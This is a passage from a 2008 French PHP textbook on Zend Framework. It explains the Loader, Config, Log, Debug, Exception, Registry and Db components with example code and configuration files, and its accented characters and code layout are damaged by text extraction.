Groupe Eyrolles, 2008

33

4 Composants de base

Zend Framework - Bien dvelopper en PHP

Intgration dans lapplication


T Bootstrap

Le bootstrap est le fichier damorage du modle MVC. Il sagit de lunique point dentre de lapplication, quelle que soit la requte HTTP la concernant. En gros, cest un endroit dans lequel nous configurerons tous les objets dont nous avons besoin. Pour plus dinformations, voyez lannexe E et le chapitre 6.

se configure souvent dans le bootstrap de lapplication. Voici comment nous pouvons dclarer lutilisation de Zend_Loader pour une utilisation manuelle :
Zend_Loader

Fichier /www/htdocs/index.php
<?php // Utilisation de Zend_Loader require_once 'Zend/Loader.php';

CONVENTION Autoload
Lapplication exemple de cet ouvrage utilise lautoload et nos prochains chapitres partent du principe que lautoload est activ. Ainsi, plus aucune inclusion ny sera prsente.

Pour une utilisation automatique, il suffit dajouter la ligne denregistrement telle que nous lavons vue dans lexemple prcdent :
Fichier /www/htdocs/index.php
<?php // Utilisation de Zend_Loader require_once 'Zend/Loader.php'; // Chargement automatique des classes Zend_Loader::registerAutoload(); // Appel du contrleur frontal (que nous tudierons plus loin) Zend_Controller_Front::run('../application/controllers');

Zend_Config
Lobjectif de Zend_Config est la manipulation de fichiers de configuration. Avec ce composant, il est possible dutiliser plusieurs formats de stockage ddis aux donnes de configuration : le format ini utilis notamment dans le fichier php.ini qui contient toutes les directives de configuration de PHP ; le format XML ; et enfin le format PHP lui-mme, si vous souhaitez mettre en place votre configuration dans un fichier PHP (sous forme de tableau PHP).
AIDE Choisir un format
Choisissez le format de stockage en fonction de vos besoins : Le format ini est facile lire et diter, mais limit dans sa structure. Le format XML permet dorganiser les donnes trs efficacement, mais il ncessite une bonne mmoire ou la consultation frquente du fichier pour savoir o se trouvent les donnes. Le format PHP est le plus performant et permet dinclure dans la configuration des procdures dynamiques. Sa structure est plus souple et demande donc plus de rigueur.

Figure 42

Diagramme de classes simplifi du composant Zend_Config

34

Groupe Eyrolles, 2008

Exemples dutilisation
Dans cette partie, nous vous proposons un exemple simple dutilisation de Zend_Config pour les trois formats de donnes : INI, XML et PHP. Chaque fichier de configuration comporte deux sections dev et prod qui incluent des directives daccs la base de donnes.

Avec un fichier ini


La gestion dun fichier de configuration au format ini se fait avec la classe Zend_Config_Ini. Voici ce que contient le fichier de configuration :
Fichier zend_config_ini.ini
; Directives de configuration de la production [prod] database.host database.user database.pass database.name

CULTURE Parse_ini_file()
Zend_Config_Ini utilise la fonction parse_ini_file() de PHP pour effectuer son travail. Il est fortement recommand daller visiter la page de manuel de cette fonction afin den apprendre plus sur la structure quun fichier .ini doit respecter, ainsi que la signification de certains caractres spciaux. B http://www.php.net/parse-ini-file

= = = =

dbserver dbuser dbprodpass dbname

; Directives de configuration de la dev ; Ces directives hritent de la production [dev : prod] database.host = localhost database.pass = dbpass

Pour utiliser ce fichier de configuration, il nous faut crer un objet permettant laccs aux directives. Voici comment faire cela avec Zend_Config_Ini :
Fichier zend_config_ini.php
<?php // Affichage en mode texte (pour la lisibilit de lexemple) header('Content-type: text/plain; charset=utf-8'); // Utilisation de Zend_Config_Ini include 'Zend/Config/Ini.php'; // Cration dun objet contenant les directives de dev $configFile = dirname(__FILE__) . '/zend_config_ini.ini'; $config = new Zend_Config_Ini($configFile, 'dev'); // Utilisation echo 'Database echo 'Hostname echo 'Username echo 'Password de Zend_Config_Ini : ' . $config->database->name : ' . $config->database->host : ' . $config->database->user : ' . $config->database->pass

. . . .

"\n"; "\n"; "\n"; "\n";

Groupe Eyrolles, 2008

35

4 Composants de base

Zend Framework - Bien dvelopper en PHP

Cet exemple affiche les informations illustres sur la figure 4-3.

Figure 43

Rsultat du script avec Zend_Config_Ini

Comme nous pouvons le voir, le fichier ini est transform par Zend_Config_Ini de manire pouvoir lutiliser travers un objet. Cette classe effectue deux manipulations essentielles : la mise en place dun hritage entre plusieurs sections ; la possibilit de hirarchiser linformation avec loprateur . dans les cls de configuration.
REMARQUE Simplexml_load_file()
Zend_Config_Xml utilise la fonction PHP simplexml_load_file() pour charger le fichier XML. Celui-ci doit donc tre valide, comme lattend la fonction PHP, cest--dire possder une unique balise racine, tre encod en UTF-8 ou bien prciser un encodage dans la balise XML et respecter strictement la syntaxe XML. B http://www.php.net/simplexml-load-file

Avec un fichier XML


Il est possible dutiliser un fichier XML pour stocker des donnes de configuration. Dans ce cas, nous allons utiliser la classe Zend_Config_Xml. Voici quoi ressemble le fichier de configuration quivalent au fichier ini de lexemple prcdent :
Fichier zend_config_xml.xml
<?xml version="1.0"?> <config> <prod> <database> <host>dbserver</host> <user>dbuser</user> <pass>dbprodpass</pass> <name>dbname</name> </database> </prod> <dev extends="prod"> <database> <host>localhost</host> <pass>dbpass</pass> </database> </dev> </config>

Le fichier PHP correspondant ressemble sensiblement celui que nous avons vu lors du prcdent exemple avec le fichier ini. Les dclarations sont les mmes ainsi que lutilisation, la seule chose qui change tant lutilisation de la classe Zend_Config_Xml la place de Zend_Config_Ini : 36
Groupe Eyrolles, 2008

Fichier zend_config_xml.php
<?php // Affichage en mode texte (pour la lisibilit de lexemple) header('Content-type: text/plain; charset=utf-8'); // Utilisation de Zend_Config_Xml include 'Zend/Config/Xml.php'; // Cration dun objet contenant les directives de dev $configFile = dirname(__FILE__) . '/zend_config_xml.xml'; $config = new Zend_Config_Xml($configFile, 'dev'); // Utilisation echo 'Database echo 'Hostname echo 'Username echo 'Password de Zend_Config_Xml : ' . $config->database->name : ' . $config->database->host : ' . $config->database->user : ' . $config->database->pass

. . . .

"\n"; "\n"; "\n"; "\n";

Le rsultat de la version XML est le mme que celui obtenu avec la syntaxe ini (voir figure 4-3). Dans un fichier XML, la hirarchie est donne par limbrication des balises XML derrire les balises <prod> et <dev>. Zend_Config_Xml met en place un mcanisme de hirarchie entre <dev> et <prod> par lintermdiaire de lattribut extends.

CULTURE Chargement de section


Le constructeur de Zend_Config_Ini/_Xml prend en deuxime paramtre facultatif un nom de section charger. Si vous lutilisez, votre objet sera directement plac dans la section dsire ; il ne sera alors plus possible daccder aux autres sections.

Avec un fichier PHP


la base, lutilisation de Zend_Config avec PHP ne contient pas de mcanisme automatique pour lhritage de directives, tel que nous venons de le voir avec XML et INI. Lexemple suivant vous montre comment utiliser Zend_Config avec PHP, comme la documentation de Zend Framework le prconise. Nous vous proposerons par la suite, dans lutilisation avance de Zend_Config, une mthode permettant de construire une configuration plus souple et efficace en PHP. Notre fichier de configuration PHP est tout simplement un tableau dclarer dans un fichier, tel que le montre lexemple suivant :
Fichier zend_config_php.php
<?php return array( 'database' 'host' 'user' 'pass' 'name' ) );

=> => => => =>

array( 'dbserver', 'dbuser', 'dbprodpass', 'dbname'

Groupe Eyrolles, 2008

37

4 Composants de base

Zend Framework - Bien dvelopper en PHP

Lutilisation de ce fichier ressemble l aussi, peu de chose prs, ce que nous avons dj vu :
Fichier zend_config.php
<?php // Affichage en mode texte (pour la lisibilit de lexemple) header('Content-type: text/plain; charset=utf-8'); // Utilisation de Zend_Config include 'Zend/Config.php'; // Cration dun objet contenant les directives de dev $config = new Zend_Config(include 'zend_config_php.php'); // Utilisation echo 'Database echo 'Hostname echo 'Username echo 'Password de Zend_Config_Xml : ' . $config->database->name : ' . $config->database->host : ' . $config->database->user : ' . $config->database->pass

. . . .

"\n"; "\n"; "\n"; "\n";

Le rsultat est lui aussi semblable celui des exemples prcdents avec XML et INI, comme illustr sur la figure 4-3. Dans cette mthode, le passage des informations via linclude dans le constructeur de Zend_Config est un peu original.

Intgration dans notre application


Bien quil soit possible de mettre toute la configuration dans un seul et mme fichier, ceci est peu recommand au point de vue de la lisibilit. Notre application a choisi la solution du fichier ini, et dispose de trois fichiers.
RENVOI Zend_Db
Le composant Zend_Db est abord dans le chapitre 5.

Lobjet Zend_Config peut tre transform en tableau PHP grce la mthode toArray(). Aussi, plusieurs composants de Zend Framework requrant des options de configuration sous forme de tableau PHP acceptent de mme un objet Zend_Config, cest le cas par exemple de Zend_Db, Zend_Layout, Zend_Controller_Router_Rewrite...
Bootstrap, index.php
$configMain = new Zend_Config_Ini($confPath . '/config.ini', X 'dev'); try { $db = Zend_Db::factory($configMain->database); $db->getConnection(); // ...

38

Groupe Eyrolles, 2008

Fichier config.ini
[app] database.adapter database.params.dbname logfile maxreservations [dev : app] database.params.host database.params.username database.params.password debug = = = = pdo_mysql zfbook /logs/log.log 3

= = = =

localhost zfbook zfbook 1

[prod : app] database.params.host = my.prod.host database.params.username = user database.params.password = secretpass debug = 0

Voyez comme la mthode factory() de la classe Zend_Db utilise lobjet Zend_Config. Nous lui passons la section database, matrialise par $configMain->database et elle se dbrouille ensuite pour trouver les cls et les valeurs dans cette section. Concernant la session, cest peu prs identique, si ce nest quil faut passer un tableau, cette fois-ci, la mthode de la classe concerne. Qu cela ne tienne, la mthode toArray() de lobjet Zend_Config tombe pic :
Bootstrap, index.php
$configSession = new Zend_Config_Ini($confPath . X '/session.ini', 'dev'); Zend_Session::setOptions($configSession->toArray());

RENVOI Zend_Session
Le composant Zend_Session est abord au chapitre 8.

Fichier session.ini
[dev] use_cookies use_only_cookies use_trans_sid strict remember_me_seconds name gc_divisor gc_maxlifetime gc_probability save_path = = = = = = = = = = on on off off 0 zfbook_session 10 86400 1 /tmp

Groupe Eyrolles, 2008

39

4 Composants de base

Zend Framework - Bien dvelopper en PHP

[prod : dev] remember_me_seconds gc_divisor gc_maxlifetime gc_probability

= = = =

0 1000 600 1

Zend_Log
Zend_Log

est utile pour faire de la remonte dinformation ou du dbogage. Nous lutiliserons pour afficher ou rediriger vers un fichier des messages derreur, dinformation ou de dbogage.

Quelques notions
Avant dutiliser Zend_Log, il convient de savoir que ce composant utilise les notions essentielles suivantes : chaque message trait par Zend_Log comporte un niveau de priorit. De cette manire on peut paramtrer ce quon affiche ou ce quon envoie dans des fichiers en production et en dveloppement ; le flux de sortie de Zend_Log peut tre redirig soit vers la sortie standard (lcran), soit vers un fichier ou vers nimporte quel composant capable de traiter ces informations. Enfin, nous aborderons aussi ces quatre objets importants dans lutilisation de Zend_Log : lenregistreur, instance de Zend_Log, permet de recueillir les messages. Il peut y en avoir plusieurs, avec des rdacteurs et des filtres diffrents ;

Figure 44

Diagramme de classes simplifi du composant Zend_Log

40

Groupe Eyrolles, 2008

le rdacteur, qui hrite de Zend_Log_Writer_Abstract, rcupre les donnes pour les stocker ; le filtre, qui implmente Zend_Log_Filter_Interface, slectionne les donnes traiter. Un rdacteur peut avoir un ou plusieurs filtres et ceux-ci peuvent tre associs un ou plusieurs rdacteurs ; le formateur, qui implmente Zend_Log_Formatter_Interface, sert formater les donnes dun rdacteur.

PRATIQUE Affichage vers Firebug


Comme le montre la figure 4-4, un enregistreur vers la console de Firebug est disponible. Celui-ci ncessite un peu de configuration supplmentaire selon le contexte. La documentation officielle saura vous renseigner.

Exemple dutilisation
Dans le cadre de notre exemple, nous allons utiliser Zend_Log de manire disposer dun outil de remonte dinformations efficace. Cet outil sera utile non seulement pour acclrer les dveloppements, mais aussi pour analyser le comportement de lapplication en production.
Exemple dutilisation de Zend_Log
<?php require 'Zend/Log.php'; require 'Zend/Log/Writer/Stream.php'; // Cration de lobjet log $log = new Zend_log(); // Enregistrement du journal sur lcran (affichage) $writer = new Zend_Log_Writer_Stream("php://output"); // Ajout de lenregistreur dans lobjet log $log->addWriter($writer); try { $obj->method(); } catch (Exception $e) { $log->log($e, Zend_Log::INFO); }

Ce code simple configure un objet Zend_Log et enregistre ses vnements dans un flux dirig vers la sortie standard de PHP, soit lcran (via Apache). Ainsi, quelque chose ressemblant ce qui suit saffiche lcran :
Sortie dun vnement
2008-07-16T19:13:04+02:00 INFO (6): Une erreur sest produite

Par dfaut saffichent le timestamp (horodatage), la priorit, le code de la priorit et le message derreur intercept. Il est possible de personnaliser cette chane prformate en ajoutant des informations comme ladresse IP du client.
Groupe Eyrolles, 2008

41

4 Composants de base

Zend Framework - Bien dvelopper en PHP

Les priorits respectent la RFC-3164, la documentation officielle les dtaille.

Utilisation conjointe avec Zend_Config


Il est possible dutiliser Zend_Log conjointement avec Zend_Config, de manire configurer la destination des vnements du log (journal). Par exemple, en dveloppement, il peut tre intressant dafficher le journal lcran alors quen production, au contraire, il faut imprativement cacher tout message lutilisateur et plutt les enregistrer dans un fichier.
zend_log-zend_config.php
<?php require 'Zend/Log.php'; require 'Zend/Log/Writer/Stream.php'; require 'Zend/Config/Ini.php'; // notre application fonctionne en mode 'dev' define ('APP_MODE', 'dev'); // chargement de la section approprie $configFile = dirname(__FILE__) . '/zend_log-zend_config.ini'; $config = new Zend_Config_Ini($configFile, APP_MODE); $log = new Zend_log(); $writer = new Zend_Log_Writer_Stream($config->logfile); $log->addWriter($writer);

zend_log-zend_config.ini
[app] [dev:app] logfile = php://output [prod:app] logfile = /log/applog

Nous crons une constante qui dfinit le mode dans lequel lapplication doit fonctionner. Notez que nous chargeons une section spcifique dans Zend_Config_Ini, ici la section dev. Les deux sections vont hriter du futur code crit dans la section app, qui sera donc commun aux deux modes de fonctionnement.

42

Groupe Eyrolles, 2008

Intgration dans notre application


Nous utiliserons le composant Zend_Log dans le but denregistrer quelques informations, notamment les exceptions et les erreurs rencontres. Nous avons choisi de personnaliser le message enregistr dans le support. Par dfaut, il sagit de la chane <temps, nom-de-la-priorit, numropriorit, message-de-log>, et nous voulons ajouter ladresse IP du client, ainsi que le navigateur utilis.
Bootstrap, index.php
$log = new Zend_Log($writer = new Zend_Log_Writer_Stream($appPath X . $configMain->logfile)); // Ajout de paramtres enregistrer, adresse IP et navigateur $log->setEventItem('user_agent',$_SERVER['HTTP_USER_AGENT']); $log->setEventItem('client_ip',$_SERVER['REMOTE_ADDR']); // Ajout des param. enregistrs dans le format du journal crire $defaultFormat = Zend_Log_Formatter_Simple::DEFAULT_FORMAT; $format = '%client_ip% %user_agent%' . $defaultFormat; // Ajout du format du journal au log $writer->setFormatter(new Zend_Log_Formatter_Simple($format));

Lobjet log $log est ensuite partag dans lapplication via le registre, que nous verrons un peu plus loin dans ce chapitre, ou encore le contrleur frontal abord dans les chapitres 6 et 7.

Zend_Debug
Ce composant destin au dbogage est un tout petit outil qui permet, grce sa mthode statique dump(), de visualiser le contenu dune variable. On peut spcifier cette mthode un texte dexplication et un boolen qui indiquent si le contenu doit tre affich lcran ou non. Laffichage est format grce des balises html <pre>, ce qui rend le code facilement lisible dans un navigateur web.

Exemple dutilisation
Voici un exemple typique dutilisation de Zend_Debug.

Groupe Eyrolles, 2008

43

4 Composants de base

Zend Framework - Bien dvelopper en PHP

zend_debug.php
<?php require 'Zend/Debug.php'; // affichage des classes PHP dclares Zend_Debug::dump(get_declared_classes());

Utilisation conjointe avec Zend_Log


Zend_Debug peut aussi retourner son contenu de manire le stocker. Ainsi, un objet Zend_Log peut par exemple enregistrer dans un fichier laffichage du contenu dun objet quelconque un moment.

zend_log-zend_debug.php
<?php require 'Zend/Log.php'; require 'Zend/Debug.php'; require 'Zend/Log/Writer/Stream.php'; $log = new Zend_log(); $writer = new Zend_Log_Writer_Stream("logs/logfile"); $log->addWriter($writer); try { $obj->method(); } catch (Exception $e) { $log->log($e, Zend_Log::INFO); // enregistrement de ltat de lobjet $log->info(Zend_Debug::dump($obj, null, false)); }

Le fait de mettre le troisime paramtre de dump() false va provoquer le retour du contenu. Il ne sera donc pas affich, mais pass en paramtre au log, sous forme de chane de caractres. Notez aussi que nous avons utilis une mthode raccourcie info(), sur notre objet log. Toutes les priorits sont utilisables comme noms de mthodes.

Zend_Exception
La classe Zend_Exception est la classe mre de toute exception lance par un composant Zend. En dautres termes, lorsquun composant, quel quil soit, est victime dune dfaillance traduite en exception, il est possible dintercepter cette exception en utilisant Zend_Exception.

44

Groupe Eyrolles, 2008

Figure 45

Diagramme de classes simplifi non exhaustif de larchitecture des exceptions

Utilisation classique de Zend_Exception


<?php require 'Zend/Db.php'; try { $db = Zend_Db::factory('pdo_mysql', $config); $db->getConnection(); } catch (Zend_Db_Adapter_Exception $e) { echo "impossible de se connecter la base"; } catch (Zend_Exception $e) { echo "classe introuvable"; }

CULTURE Hritage des exceptions


Comme le montre partiellement la figure 4-5, toutes les classes dexception de Zend Framework hritent de Zend_Exception. Lattraper en premier consiste intercepter une exception au sens large, sachant toutefois quil reste toujours en dessous la classe Exception de PHP.

Ici la mthode factory() peut renvoyer plusieurs exceptions ; nous interceptons dabord la plus spcifique, Zend_Db_Adapter_Exception, pour finalement attraper la plus gnrique de Zend Framework : Zend_Exception.

Zend_Registry
En une phrase, Zend_Registry sert grer une collection de valeurs. Ce singleton peut tre considr comme un moyen dtourn de simuler des variables globales. Le premier danger dune variable globale est la redfinition accidentelle, appele recouvrement. Si lun de vos composants utilise une variable $name et quun autre se sert aussi dune variable $name diffrente, lutilisation conjointe de ces deux composants va gnrer un conflit d au fait que ces deux variables portent le mme nom dans le mme espace. propose une mthode isRegistered(), afin de vrifier si une variable y est dj stocke. Techniquement, Zend_Registry possde les caractristiques suivantes :
Zend_Registry

CULTURE Pattern Registre


Zend_Registry est un motif de conception (design pattern) Registre. Pour plus de dtails sur les motifs de conception, rendez-vous en annexe D.

Groupe Eyrolles, 2008

45

4 Composants de base

Zend Framework - Bien dvelopper en PHP

T ArrayObject

ArrayObject est une interface prdfinie de la Standard PHP Library (SPL) aborde dans lannexe C. Il permet une utilisation similaire un tableau ou un objet.

il sagit dun singleton, donc dune classe qui permet de ne crer quun seul objet. Cet objet est le mme pour tous les composants et tout le code qui utilise Zend_Registry ; il sagit dune collection de valeurs, qui tend ArrayObject. Il est donc possible ditrer lensemble de ces valeurs et de lutiliser comme un tableau.

Exemple dutilisation
Le but de Zend_Registry est de partager des variables au sein de classes ou dobjets. Il peut sutiliser de manire statique, de manire objet, ou sous forme de tableau PHP. La manire la plus simple est laccs statique :
Exemple de partage de variables
<?php require 'Zend/Registry.php'; $obj = new stdClass; Zend_Registry::set('monobjet', $obj); class UneClasse { public function __construct() { Zend_Registry::get('monobjet')->prop = 'value'; } } $a = new UneClasse; echo $obj->prop; // value

CONSEIL Pas de courts-circuits dangereux


Nabusez pas du registre. Une application bien construite ne devrait pas voir ses objets se servir trop souvent dans le registre. Ceci peut traduire un problme de conception (anti-pattern), et les dpendances entre objets sont alors revoir.

Comme on peut le voir, le registre stocke ce que lon veut du moment que lon fournit un index (ici : monobjet). Le registre agit bien entendu par rfrence : dans la classe UneClasse, nous modifions lobjet dans le registre, et les modifications sont ensuite bien rpercutes sur la variable $obj, prsente dans le contexte global de PHP.

Intgration dans lapplication


Nous utilisons le registre quelques endroits en vue de partager certains objets.

46

Groupe Eyrolles, 2008

Bootstrap, index.php
// code prcdent, cration de lobjet $log // ... // partage du log en registre Zend_Registry::set('log', $log); // ... $session = new Zend_Session_Namespace($configSession->name); // partage de lobjet de session en registre Zend_Registry::set('session', $session); // partage de lobjet translate prcdemment cre Zend_Registry::set('Zend_Translate', $translate); // ...

Remarquez que, concernant lobjet de base de donnes (abord en dtail dans le chapitre 5), nous ne le mettons pas dans le registre, simplement parce quil propose dj lui-mme une sorte de registre (via la classe Zend_Db_Table_Abstract). Aussi, le pattern contrleur frontal (dtaill dans les chapitres 6 et 7) permet la propagation de paramtres dans le sous-systme MVC ; cest une alternative Zend_Registry.

En rsum
Il est essentiel de connatre les composants de base. Ils sont petits, mais souvent omniprsents dans les dveloppements avec Zend Framework. Zend_Loader sert charger des fichiers de manire manuelle ou automatique. Zend_Config permet daccder un fichier de configuration, au format de votre choix (.ini, .xml...) et permettant la sparation des environnements (dveloppement, production...) avec hritage des directives. Zend_Log offre une solution de gestion des messages de journalisation, qui peuvent tre affichs lcran, envoys dans un fichier ou dans une base et typs selon leur degr de criticit. Zend_Debug propose un moyen deffectuer une copie de sauvegarde (dump) des variables PHP. Zend_Registry permet denregistrer des donnes ou des objets accessibles partout dans le code. Trs pratique, mais utiliser avec modration. Zend_Exception est lexception de base de Zend Framework.
Groupe Eyrolles, 2008

47

4 Composants de base

chapitre

Groupe Eyrolles, 2008

Accs aux bases de donnes

SOMMAIRE

B Matriser lutilisation

Laccs la base de donnes est un enjeu rcurrent et critique. On le retrouve dans la majeure partie des applications web. la frontire entre les donnes et les fonctionnalits, la scurit, les performances et la durabilit des choix techniques sont cruciales.

de Zend_Db et de ses drivs

B Choisir loutil adapt


vos besoins avec Zend_Db COMPOSANTS

B Zend_Db
MOTS-CLS

B base de donnes B SQL B passerelle B adaptateur B transaction B requte B composant B ORM

Groupe Eyrolles, 2008

Zend Framework - Bien dvelopper en PHP

Le composant Zend_Db de Zend Framework est lun des premiers avoir vu le jour et lun des plus prouvs lheure actuelle. Ce chapitre contient une mine dexplications et de conseils destins utiliser ce composant au mieux.

Introduction
Il parat clair quaujourdhui, une application web courante est connecte au moins un serveur de bases de donnes (SGBD). Zend Framework propose un ensemble de classes runies dans le composant Zend_Db, permettant de se connecter et dinteragir avec la plupart des SGBD du march. Zend Framework propose un ensemble dadaptateurs Zend_Db_Adapter, permettant dabstraire laccs diffrentes bases de donnes. Des mthodes simples et efficaces sur lobjet adaptateur permettent alors dinteragir facilement avec une base de donnes.
RENVOI PHP et les SGBD
Pour plus dinformations sur les SGBD de manire gnrale, ou sur les possibilits de PHP concernant les bases de donnes, rendez-vous en annexe B.

Zend Framework propose aussi une passerelle vers les tables de donnes. La classe Zend_Db_Table fait correspondre une table de la base une classe. Les mthodes utilisables sur les objets dune telle classe permettent alors dinterroger la table afin den rcuprer des enregistrements, ventuellement de les modifier et de les sauvegarder.

Figure 51

Diagramme de classes simplifi du composant Zend_Db


Zend_Db est une classe qui sert construire un adaptateur adquat. Elle possde beaucoup de constantes utilises par les adaptateurs. Zend_Db_Adapter comporte un ensemble de sous-classes. Chacune delles correspond un SGBD diffrent. En gnral, on construit son adaptateur avec la classe Zend_Db qui propose une fabrique (gnrateur dobjets) destine cela. Zend_Db_Table contient un ensemble de composants responsables de la passerelle entre tables et classes. Zend_Db_Profiler est une classe permettant de profiler ses requtes. Le profiling (ou profilage) est utilis pour contrler les performances dune application dans le but de les amliorer. Il permet notamment de dtecter les processus lents.

50

Groupe Eyrolles, 2008

reprsente un rsultat compil provenant de la base de donnes et permet de rcuprer les rsultats dune requte. Il est possible de lutiliser directement via cette classe, mais en gnral cest surtout ladaptateur qui le grera en interne. Zend_Db_Select est une classe qui permet de construire une requte de slection de donnes (SELECT) avec des objets. Lintrt est doffrir une interface commune pour ce type de requte. En effet lobjet se chargera de traduire la requte dans une syntaxe du SGBD sous-jacent. Zend_Db_Expr est une toute petite classe qui sert insrer des expressions SQL dans ses requtes utilisant Zend_Db_Select.
Zend_Db_Statement

Utiliser les SGBD


Les SGBD utilisables par Zend Framework
Zend Framework propose le support des SGBD suivants, via PDO : IBM DB2 et Informix Dynamic Server (IDS) ; MySQL ; Microsoft SQL Server ; Oracle ; PostgreSQL ; SQLite. Aussi, le support des SGBD suivants est assur, sans passer par PDO : MySQL, via lextension mysqli de PHP ; Oracle, via lextension oci8 de PHP ; IBM DB2, grce lextension ibm_db2 de PHP ; Firebird/Interbase, au travers de lextention PHP php_interbase. Pour utiliser lun de ces SGBD, il suffit de sassurer que PHP propose bien lextension ncessaire.

PRREQUIS PDO
PDO signifie PHP Data Object. Il sagit dun socle commun daccs aux SGBD, orient objet. PDO est disponible par dfaut dans toutes les versions de PHP acceptes par Zend Framework. Il faut cependant sassurer de la prsence du connecteur spcifique au SGBD que lon souhaite utiliser (il sagit dune simple extension PHP dans chaque cas). Pour plus dinformations, reportezvous lannexe B.

Cration dune connexion


Crer une connexion un SGBD est simple. Pour cela, il faut instancier la bonne classe en fonction du SGBD que lon souhaite utiliser.

Groupe Eyrolles, 2008

51

5 Accs aux bases de donnes

Zend Framework - Bien dvelopper en PHP

Figure 52

Diagramme de classes simplifi des adaptateurs, dans Zend_Db

Notre application utilisant MySQL, nous allons nous baser sur Pdo_Mysql. La cration de lobjet se fait comme suit :
Cration dun objet de connexion une base de donnes
<?php $db = new Zend_Db_Adapter_Pdo_Mysql(array( 'host ' => '127.0.0.1', 'username' => 'zfbook', 'password' => 'secret', 'dbname' => 'zfbook' ));

Aussi, la classe Zend_Db propose une mthode statique factory() qui peut faire exactement la mme chose. Elle apporte cependant plus de flexibilit si lon souhaite changer de SGBD dans le futur. Comme nous avons dj vu le composant Zend_Config, nous allons noter sa capacit se coupler avec Zend_Db :
config.ini
[app] database.adapter database.params.dbname = pdo_mysql = zfbook

[dev : app] database.params.host = localhost database.params.username = zfbook database.params.password = secret [prod : app] database.params.host = my.prod.host database.params.username = user database.params.password = secretpass

52

Groupe Eyrolles, 2008

Cration de lobjet de connexion avec Zend_Db


<?php $config = new Zend_Config_Ini('config.ini','dev'); $db = Zend_Db::factory($config->database);

RAPPEL Zend_Config composite


Nous avons dj vu Zend_Config, il sagit dun objet composite : il contient des instances de luimme. Chaque branche de larbre est un objet Zend_Config, comme la branche database. La mthode factory() va simplement appeler la mthode toArray() de lobjet Zend_Config.

Lobjet config est charg avec la section dev car nous sommes en mode dveloppement. Puis, lobjet $config->database est pass la mthode factory(). Si les cls adapter et params y sont dcrites comme dans le fichier config.ini prsent, alors lobjet $db sera correctement construit. Dans le cas contraire, une exception Zend_Db_Exception sera leve.

Requtes sur une base de donnes


Notre base de donnes exemple est trs simple. Elle se compose de quatre tables : room : la table des salles rserver ; user : la table des utilisateurs. Pour les administrateurs, la colonne is_admin est mise 1 ; reservation : une table de liaison. Elle lie les utilisateurs crateurs aux salles. La cl creator reprsente lutilisateur crateur de la rservation, alors que id_room reprsente la salle rserve ; reservationuser : cette table lie les utilisateurs concerns par une rservation, la rservation correspondante. Aussi, nous avons cr une vue qui va beaucoup nous aider dans la rcupration de rsultats pertinents. Ceci va nous viter pas mal de jointures et dchargera une partie de la logique de slection de donnes vers le SGBD.

Figure 53

Modle de traitement de notre base de donnes exemple

Concernant les donnes, ce quoi nous pouvons nous attendre est illustr par la figure 5-3.
Groupe Eyrolles, 2008

53

5 Accs aux bases de donnes

Zend Framework - Bien dvelopper en PHP

Figure 54

Diagramme de classes non exhaustif de lensemble Zend_Db pour Pdo_Mysql

Comme nous pouvons le constater sur la figure 5-4, notre objet adaptateur (instance de Zend_Db_Adapter_Pdo_Mysql, pour rappel) hrite de deux autres classes dans larchitecture de Zend Framework. Il possde ainsi beaucoup de mthodes (les attributs des classes nont pas t reprsents sur le schma) et un IDE autorisant la compltion sur les objets sera le bienvenu : nous aborderons ce point dans le chapitre 14.
CONSEIL Requtes prpares
Quoi que vous fassiez, Zend Framework prparera toujours la requte que vous lui demanderez deffectuer. Il est important de notre ct de sparer les donnes et la structure de la requte des fins doptimisation.

Le systme est donc trs simple, mme si premire vue il peut paratre touffu. Ladaptateur va, au moyen de mthodes, interagir avec le SGBD, et lorsquil devra retourner des rsultats (requte de type SELECT par exemple), il utilisera la classe Statement. Cette classe utilise PDOStatement, mais en gnral nous naurons pas besoin de la manipuler directement ; ladaptateur sert dinterface unique et lui retourne, la plupart du temps, des tableaux PHP, des objets ou des entiers.

54

Groupe Eyrolles, 2008

Envoyer des requtes


Lobjet adaptateur permet toutes sortes de requtes. Il est lobjet pilote de la base de donnes et propose, dans un premier temps, des mthodes fetch charges denvoyer une requte et den rcuprer les rsultats. Chaque mthode fetch va retourner le rsultat dune manire prcise. Les voici dtailles : fetchAll() rcupre tous les rsultats ; fetchRow() rcupre le premier jeu de rsultats ; fetchAssoc() rcupre tous les rsultats dans un tableau associatif ; fetchCol() rcupre tous les rsultats, mais uniquement la premire colonne demande ; fetchOne() = fetchRow() + fetchCol() : retourne la premire colonne du premier jeu de rsultats ; fetchPairs() rcupre les rsultats sous forme de tableau associatif, la colonne 1 est en index, la colonne 2 en rsultat. Les fetchModes de PDO sont utilisables avec fetchRow() et fetchAll(). Ceux-ci sont reprsents par des constantes dans Zend_Db, par exemple Zend_Db::FETCH_ASSOC, Zend_Db::FETCH_NUM, Zend_Db::FETCH_BOTH, Zend_Db::FETCH_COLUMN, Zend_Db::FETCH_OBJ...
Exemple de rcupration de rsultats suite une requte SELECT
<?php $query = "SELECT lastname, firstname FROM user"; $result = $db->fetchAll($query)); Zend_Debug::dump($result);

Rsultat
array(2) { [0] => array(2) { ["lastname"] => string(5) "pauli" ["firstname"] => string(6) "julien" } [1] => array(2) { ["lastname"] => string(7) "ponon" ["firstname"] => string(9) "guillaume" } }

Certaines mthodes, comme fetchOne() par exemple, ne rcuprent quun sous-ensemble du rsultat. Faites attention bien slectionner les bonnes colonnes dans votre requte, au risque de gaspiller des ressources en demandant au SGBD de manipuler beaucoup de colonnes, alors que la mthode de rcupration ne soccupera que de certaines dentre elles.
Groupe Eyrolles, 2008

55

5 Accs aux bases de donnes

Zend Framework - Bien dvelopper en PHP

Exemple de requte correcte avec fetchOne()


<?php // Affiche "pauli" $query = "SELECT lastname FROM user WHERE firstname='julien'"; $result = $db->fetchOne($query)); echo $result;

Toutes les mthodes fetch prennent un paramtre de bind : il sagit dune chane ou dun tableau de chanes remplacer lors de la requte. Rappelons que Zend Framework utilise des requtes prpares en permanence.
EN PRATIQUE Exceptions
Presque toutes les mthodes utilises dans Zend_Db_Adapter renvoient des exceptions si un problme survient (requte mal forme, nombre de paramtres remplacer incorrect). Ces exceptions peuvent tre de plusieurs types, mais elles tendent toutes Zend_Db_Exception. Il faut donc intercepter cette exception dans un bloc try/catch. Dans nos exemples, nous nutiliserons pas systmatiquement cette syntaxe pour des raisons de place et de simplification.

Affichage des nom/prnom des utilisateurs administrateurs numrots de 1 10


<?php $query = "SELECT firstname, lastname FROM user WHERE id=:id AND is_admin=:admin"; $id_array = range(1, 10); foreach ($id_array as $id) { $binds = array('id'=>$id, 'admin'=>1); $result = $db->fetchRow($query, $binds); echo $result['firstname'], $result['lastname']; }

